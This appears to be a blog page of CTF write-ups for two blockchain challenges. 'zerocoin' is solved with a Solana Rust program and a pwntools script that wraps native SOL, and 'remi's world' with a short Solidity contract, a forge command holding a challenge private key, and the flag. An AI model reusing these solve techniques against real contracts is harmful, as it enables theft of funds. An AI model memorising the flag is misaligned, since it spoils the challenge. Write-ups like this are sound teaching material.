<-->

https://ctftime.org/event/2102

 

zerocoin

 

analysis

The challenge requires users to fill their Associated Token Account with any token.

We cannot mint Zerocoin with 1_000_000 native tokens.

Therefore, we should send the native token to the user's ATA and then convert it to wrapped SOL.

https://spl.solana.com/token#example-wrapping-sol-in-a-token

 

solve

 

lib.rs

#[cfg(not(feature = "no-entrypoint"))]
pub mod entrypoint {
    use anchor_lang::prelude::*;
    use solana_program::{
        account_info::AccountInfo, entrypoint, entrypoint::ProgramResult,
        program::{invoke, invoke_signed},
        program_pack::Pack,
        system_instruction,
    };
    use zerocoin::cpi;

    entrypoint!(process_instruction);

    pub fn process_instruction(
        _program_id: &Pubkey,
        _accounts: &[AccountInfo],
        _instruction_data: &[u8],
    ) -> ProgramResult {
        let user = _accounts[0].clone();
        let vault = _accounts[1].clone();
        let mint = _accounts[2].clone();
        let user_token = _accounts[3].clone();
        let program = _accounts[4].clone();
        let token_program = _accounts[5].clone();
        let system_program = _accounts[6].clone();
        let native_mint = _accounts[7].clone();

        let cpi_accounts = zerocoin::cpi::accounts::Register {
            token: user_token.clone(),
            vault: vault.clone(),
            mint: native_mint.clone(),
            zerocoin: program.clone(),
            token_program: token_program.clone(),
            system_program: system_program.clone(),
        };
        let cpi_ctx = CpiContext::new(program.clone(), cpi_accounts);
        zerocoin::cpi::register(cpi_ctx, *user.key);

        invoke(
            &system_instruction::transfer(
                user.key,
                user_token.key,
                1,
            ),
            &[
                user.to_account_info(),
                user_token.to_account_info(),
            ],
        )?;

        invoke(
            &spl_token::instruction::sync_native(
                token_program.key,
                user_token.key,
            )?,
            &[
                user_token.to_account_info(),
                token_program.to_account_info(),
            ],
        )?;

        Ok(())
    }
}

 

solve.py

#!/usr/bin/env python3

from pwn import *

p = remote("127.0.0.1", 5000)

addrs = {}
while True:
    name = p.recvuntil(b": ", drop=True).decode()
    if name == "program pubkey":
        break
    key = p.recvline(keepends=False).decode()
    addrs[name] = key

addrs['native_mint'] = "So11111111111111111111111111111111111111112"

# can change pubkey to anything else, this is just a randomly generated valid pubkey
p.sendline(b"ExNhUJ35wXCJCD7wtB8BjCpRK5xrD2cLqXXtnsjrWVkE")

# copy solve.so to cwd or change this path to ./solve/sbf-solana-solana/release/solve.so
with open("./solve/target/sbf-solana-solana/release/solve.so", "rb") as f:
    solve = f.read()

p.sendlineafter(b"program len: \n", str(len(solve)).encode())
p.send(solve)

# can change accounts, s means signer, r/w means readonly/writable
accounts = """
user: sw
vault: -w
mint: -w
user_token: -w
program: -r
token_program: -r
system_program: -r
native_mint: -r
"""

accounts = [l.split(": ") for l in accounts.strip().split("\n")]
p.sendlineafter(b"num accounts: \n", str(len(accounts)).encode())
p.sendline("\n".join(f"{b} {addrs[a]}" for (a, b) in accounts).encode())

# can add data to the instruction
ix_data = b"filler data"

p.sendlineafter(b"ix len: \n", str(len(ix_data)).encode())
p.send(ix_data)

p.interactive()

 

 

 

remi's world

 

solve

 

contract Solve {
    Remis public remis;

    constructor(address _setup) {
        Setup setup = Setup(_setup);
        address _remis = address(setup.remis());
        address _target = address(setup.shady());
        remis = Remis(_remis);
        for(uint i = 0; i < 10 ; i++) {
            remis.openAccount();
            remis.sendMoney(10, _target);
        }
    }

    /*
    forge create Solve --private-key 0xda34a7faffb463b2897a39ab73f44190878402f60d99dd40d569161c6c83ed37 --rpc-url https://remis-world.chall.lac.tf/fa5ed621-c7e1-4e9b-8fdd-35154e553001 --constructor-args 0x8C71DE458B582A6Ad988645e56700927eaBD8CCa
    lactf{irr3v3r5ib1e_d4m4g3}
    */
}

'writeups' 카테고리의 다른 글

osu!gaming 2024 - blockchain  (0) 2024.03.04
GCC CTF 2024 - web3  (0) 2024.03.04
DiceCTF 2024 Quals - floordrop(blockchain)  (0) 2024.02.05
RealWorldCTF 2024 - blockchain(safebridge)  (0) 2024.01.28
2024MoveCTF  (0) 2024.01.28

+ Recent posts